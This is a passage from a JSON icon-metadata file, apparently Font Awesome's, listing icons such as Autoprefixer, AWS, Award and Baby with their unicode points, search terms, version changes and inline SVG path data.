        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M253.5 51.7C248.6 39.8 236.9 32 224 32s-24.6 7.8-29.5 19.7L122.7 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96L82.7 320H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H56L34.5 435.7c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L125.3 384H322.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8L392 384h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H365.3L352 288h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H325.3L253.5 51.7zM256 224H192l32-76.8L256 224zm-90.7 64H282.7L296 320H152l13.3-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M253.5 51.7C248.6 39.8 236.9 32 224 32s-24.6 7.8-29.5 19.7L122.7 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96L82.7 320H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H56L34.5 435.7c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L125.3 384H322.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8L392 384h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H365.3L352 288h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H325.3L253.5 51.7zM256 224H192l32-76.8L256 224zm-90.7 64H282.7L296 320H152l13.3-32z"
      }
    },
    "free": ["solid"]
  },
  "autoprefixer": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41c",
    "label": "Autoprefixer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z"
      }
    },
    "free": ["brands"]
  },
  "avianex": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f374",
    "label": "avianex",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z"
      }
    },
    "free": ["brands"]
  },
  "aviato": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f421",
    "label": "Aviato",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z"
      }
    },
    "free": ["brands"]
  },
  "award": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f559"]
      }
    },
    "changes": [
      "5.1.0",
      "5.2.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["honor", "praise", "prize", "recognition", "ribbon", "trophy"]
    },
    "styles": ["solid"],
    "unicode": "f559",
    "label": "Award",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M173.8 5.5c11-7.3 25.4-7.3 36.4 0L228 17.2c6 3.9 13 5.8 20.1 5.4l21.3-1.3c13.2-.8 25.6 6.4 31.5 18.2l9.6 19.1c3.2 6.4 8.4 11.5 14.7 14.7L344.5 83c11.8 5.9 19 18.3 18.2 31.5l-1.3 21.3c-.4 7.1 1.5 14.2 5.4 20.1l11.8 17.8c7.3 11 7.3 25.4 0 36.4L366.8 228c-3.9 6-5.8 13-5.4 20.1l1.3 21.3c.8 13.2-6.4 25.6-18.2 31.5l-19.1 9.6c-6.4 3.2-11.5 8.4-14.7 14.7L301 344.5c-5.9 11.8-18.3 19-31.5 18.2l-21.3-1.3c-7.1-.4-14.2 1.5-20.1 5.4l-17.8 11.8c-11 7.3-25.4 7.3-36.4 0L156 366.8c-6-3.9-13-5.8-20.1-5.4l-21.3 1.3c-13.2 .8-25.6-6.4-31.5-18.2l-9.6-19.1c-3.2-6.4-8.4-11.5-14.7-14.7L39.5 301c-11.8-5.9-19-18.3-18.2-31.5l1.3-21.3c.4-7.1-1.5-14.2-5.4-20.1L5.5 210.2c-7.3-11-7.3-25.4 0-36.4L17.2 156c3.9-6 5.8-13 5.4-20.1l-1.3-21.3c-.8-13.2 6.4-25.6 18.2-31.5l19.1-9.6C65 70.2 70.2 65 73.4 58.6L83 39.5c5.9-11.8 18.3-19 31.5-18.2l21.3 1.3c7.1 .4 14.2-1.5 20.1-5.4L173.8 5.5zM272 192a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM1.3 441.8L44.4 339.3c.2 .1 .3 .2 .4 .4l9.6 19.1c11.7 23.2 36 37.3 62 35.8l21.3-1.3c.2 0 .5 0 .7 .2l17.8 11.8c5.1 3.3 10.5 5.9 16.1 7.7l-37.6 89.3c-2.3 5.5-7.4 9.2-13.3 9.7s-11.6-2.2-14.8-7.2L74.4 455.5l-56.1 8.3c-5.7 .8-11.4-1.5-15-6s-4.3-10.7-2.1-16zm248 60.4L211.7 413c5.6-1.8 11-4.3 16.1-7.7l17.8-11.8c.2-.1 .4-.2 .7-.2l21.3 1.3c26 1.5 50.3-12.6 62-35.8l9.6-19.1c.1-.2 .2-.3 .4-.4l43.2 102.5c2.2 5.3 1.4 11.4-2.1 16s-9.3 6.9-15 6l-56.1-8.3-32.2 49.2c-3.2 5-8.9 7.7-14.8 7.2s-11-4.3-13.3-9.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M173.8 5.5c11-7.3 25.4-7.3 36.4 0L228 17.2c6 3.9 13 5.8 20.1 5.4l21.3-1.3c13.2-.8 25.6 6.4 31.5 18.2l9.6 19.1c3.2 6.4 8.4 11.5 14.7 14.7L344.5 83c11.8 5.9 19 18.3 18.2 31.5l-1.3 21.3c-.4 7.1 1.5 14.2 5.4 20.1l11.8 17.8c7.3 11 7.3 25.4 0 36.4L366.8 228c-3.9 6-5.8 13-5.4 20.1l1.3 21.3c.8 13.2-6.4 25.6-18.2 31.5l-19.1 9.6c-6.4 3.2-11.5 8.4-14.7 14.7L301 344.5c-5.9 11.8-18.3 19-31.5 18.2l-21.3-1.3c-7.1-.4-14.2 1.5-20.1 5.4l-17.8 11.8c-11 7.3-25.4 7.3-36.4 0L156 366.8c-6-3.9-13-5.8-20.1-5.4l-21.3 1.3c-13.2 .8-25.6-6.4-31.5-18.2l-9.6-19.1c-3.2-6.4-8.4-11.5-14.7-14.7L39.5 301c-11.8-5.9-19-18.3-18.2-31.5l1.3-21.3c.4-7.1-1.5-14.2-5.4-20.1L5.5 210.2c-7.3-11-7.3-25.4 0-36.4L17.2 156c3.9-6 5.8-13 5.4-20.1l-1.3-21.3c-.8-13.2 6.4-25.6 18.2-31.5l19.1-9.6C65 70.2 70.2 65 73.4 58.6L83 39.5c5.9-11.8 18.3-19 31.5-18.2l21.3 1.3c7.1 .4 14.2-1.5 20.1-5.4L173.8 5.5zM272 192a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM1.3 441.8L44.4 339.3c.2 .1 .3 .2 .4 .4l9.6 19.1c11.7 23.2 36 37.3 62 35.8l21.3-1.3c.2 0 .5 0 .7 .2l17.8 11.8c5.1 3.3 10.5 5.9 16.1 7.7l-37.6 89.3c-2.3 5.5-7.4 9.2-13.3 9.7s-11.6-2.2-14.8-7.2L74.4 455.5l-56.1 8.3c-5.7 .8-11.4-1.5-15-6s-4.3-10.7-2.1-16zm248 60.4L211.7 413c5.6-1.8 11-4.3 16.1-7.7l17.8-11.8c.2-.1 .4-.2 .7-.2l21.3 1.3c26 1.5 50.3-12.6 62-35.8l9.6-19.1c.1-.2 .2-.3 .4-.4l43.2 102.5c2.2 5.3 1.4 11.4-2.1 16s-9.3 6.9-15 6l-56.1-8.3-32.2 49.2c-3.2 5-8.9 7.7-14.8 7.2s-11-4.3-13.3-9.7z"
      }
    },
    "free": ["solid"]
  },
  "aws": {
    "changes": ["5.0.0", "5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f375",
    "label": "Amazon Web Services (AWS)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z"
      }
    },
    "free": ["brands"]
  },
  "b": {
    "aliases": {
      "unicodes": {
        "composite": ["62"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter B", "Latin Small Letter B", "letter"]
    },
    "styles": ["solid"],
    "unicode": "42",
    "label": "B",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H192c70.7 0 128-57.3 128-128c0-46.5-24.8-87.3-62-109.7c18.7-22.3 30-51 30-82.3c0-70.7-57.3-128-128-128H64zm96 192H64V96h96c35.3 0 64 28.7 64 64s-28.7 64-64 64zM64 288h96 32c35.3 0 64 28.7 64 64s-28.7 64-64 64H64V288z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V256 416c0 35.3 28.7 64 64 64H192c70.7 0 128-57.3 128-128c0-46.5-24.8-87.3-62-109.7c18.7-22.3 30-51 30-82.3c0-70.7-57.3-128-128-128H64zm96 192H64V96h96c35.3 0 64 28.7 64 64s-28.7 64-64 64zM64 288h96 32c35.3 0 64 28.7 64 64s-28.7 64-64 64H64V288z"
      }
    },
    "free": ["solid"]
  },
  "baby": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f77c"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f77c",
    "label": "Baby",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M152 88a72 72 0 1 1 144 0A72 72 0 1 1 152 88zM39.7 144.5c13-17.9 38-21.8 55.9-8.8L131.8 162c26.8 19.5 59.1 30 92.2 30s65.4-10.5 92.2-30l36.2-26.4c17.9-13 42.9-9 55.9 8.8s9 42.9-8.8 55.9l-36.2 26.4c-13.6 9.9-28.1 18.2-43.3 25V288H128V251.7c-15.2-6.7-29.7-15.1-43.3-25L48.5 200.3c-17.9-13-21.8-38-8.8-55.9zm89.8 184.8l60.6 53-26 37.2 24.3 24.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-48-48C70 438.6 68.1 417 79.2 401.1l50.2-71.8zm128.5 53l60.6-53 50.2 71.8c11.1 15.9 9.2 37.5-4.5 51.2l-48 48c-15.6 15.6-40.9 15.6-56.6 0s-15.6-40.9 0-56.6L284 419.4l-26-37.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M152 88a72 72 0 1 1 144 0A72 72 0 1 1 152 88zM39.7 144.5c13-17.9 38-21.8 55.9-8.8L131.8 162c26.8 19.5 59.1 30 92.2 30s65.4-10.5 92.2-30l36.2-26.4c17.9-13 42.9-9 55.9 8.8s9 42.9-8.8 55.9l-36.2 26.4c-13.6 9.9-28.1 18.2-43.3 25V288H128V251.7c-15.2-6.7-29.7-15.1-43.3-25L48.5 200.3c-17.9-13-21.8-38-8.8-55.9zm89.8 184.8l60.6 53-26 37.2 24.3 24.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-48-48C70 438.6 68.1 417 79.2 401.1l50.2-71.8zm128.5 53l60.6-53 50.2 71.8c11.1 15.9 9.2 37.5-4.5 51.2l-48 48c-15.6 15.6-40.9 15.6-56.6 0s-15.6-40.9 0-56.6L284 419.4l-26-37.2z"
      }
    },
    "free": ["solid"]
  },
  "baby-carriage": {
    "aliases": {
      "names": ["carriage-baby"],
      "unicodes": {
        "secondary": ["10f77d"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buggy",
        "carrier",
        "infant",
        "push",
        "stroller",
        "transportation",
        "walk",
        "wheels"
      ]
    },
    "styles": ["solid"],
    "unicode": "f77d",
    "label": "Baby Carriage",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
